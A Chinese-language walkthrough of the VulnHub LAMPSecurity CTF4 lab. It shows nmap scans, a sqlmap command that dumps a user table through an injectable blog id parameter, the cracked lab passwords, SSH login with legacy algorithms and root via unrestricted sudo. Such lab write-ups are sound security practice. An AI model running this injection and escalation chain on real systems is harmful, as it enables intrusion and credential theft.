LAMPSecurity-CTF4


来源: vulnhub靶场-LAMPSecurity: CTF4

目标: The idea of the exercise is to compromise the target WITHOUT knowing the username and password.

妙妙工具: python -c 'import pty; pty.spawn("/bin/bash")'

环境配置

  • kali: 192.168.110.130
  • target: 192.168.110.136

咳, 据说这个靶机是2009年做的, 放在现在不能说漏洞百出, 只能说毫无防护

信息收集

nmap

# 获取靶机地址 192.168.110.136
sudo nmap -sn 192.168.110.0/24
# 获取端口信息 22,25,80,631
sudo nmap -sT --min-rate 10000 -p- 192.168.110.136 -oA scan/ports
# 获取详细信息
sudo nmap -sT -sV -sC -O -p22,25,80,631 192.168.110.136 -oA scan/detail
# 看看漏洞
sudo nmap --script=vuln -p22,25,80,631 192.168.110.136 -oA scan/vuln

经过扫描, 端口631和端口25无法连接, 仅有22和80存活. 有新的目录

漏洞扫描扫到一些漏洞, 包括跨站请求伪造csrf、文件遍历、sql注入等

80/http

进去之后看不懂. 查看源码, 发现有一个注释掉的路由/usage

仔细看看能不能利用, 发现要缓冲区溢出进行远程命令执行, 那太难受了, 先放一边吧

在点Blog后发现url存在id=2的字样, 结合之前搜到的sql漏洞, 猜测应该就是这里

测试id=5, 出现另一个博文, 加上单引号, 出现sql错误, 所以应该是存在漏洞的

sqlmap -u 'http://192.168.110.136/index.html?page=blog&title=Blog&id=5' --dbs --dump --batch

在数据库ehks的表user中, 成功发现了几个用户名和密码, 且可以自动破解

user_id user_name user_pass
1 dstevens 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)
2 achen b46265f1e7faa3beab09db5c28739380 (seventysixers)
3 pmoore 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)
4 jdurbin 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)
5 sorzek 64d1f88b9b276aece4b0edcc25b7a434 (pacman)
6 ghighland 9f3eb3087298ff21843cc4e013cf355f (undone1)

getshell

利用sql注入得到的信息登录ssh, 结果发现不行. 报错提示"没有匹配的key exchange方法",靶机的方法是diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1, 我们需要将这个参数传进去

ssh -o的参数中有关于密钥的是KeyAlgorithms, 所以传入结果如下

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.110.136

继续报错, 这次是"没有匹配的key type", 添加对应参数即可

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.110.136

信息收集

# 系统信息 Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
uname -a
# 内核版本 2.6.15-1.2054_FC5
uname -r
# 查看环境
python -h
nc -h
gcc -v
# 查看权限, 任意位置可以执行sudo命令
sudo -l
# 查看特权文件, 无发现
find / -perm -u=s -type f 2>/dev/null
# 看看计划任务, 无发现
cat /etc/crontab

所以可以直接利用sudo提权

提权

有sudo权限那没什么好说的了

sudo /bin/bash

image.png

官方文档中利用的是文件包含的方式, web的当前目录的/restriced路径下存在.htpasswd文件, 记录了账号密码

htpasswd是apache的一个组件, 用于http验证, 但其实.htpasswd文件并不存在默认路径, 这个restriced路径大概率是自己定义的